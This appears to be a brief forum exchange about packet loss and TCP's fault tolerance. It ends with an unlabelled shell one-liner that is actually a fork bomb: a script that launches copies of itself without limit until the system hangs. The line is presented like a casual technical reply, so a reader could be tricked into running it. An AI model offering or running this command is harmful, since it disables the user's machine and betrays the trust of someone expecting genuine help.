can't afford packet loss

Use TCP? That's what it was designed for. Fault-tolerant transmission.

$ echo '$0 & $0 &' > foo; chmod a+x foo; foo;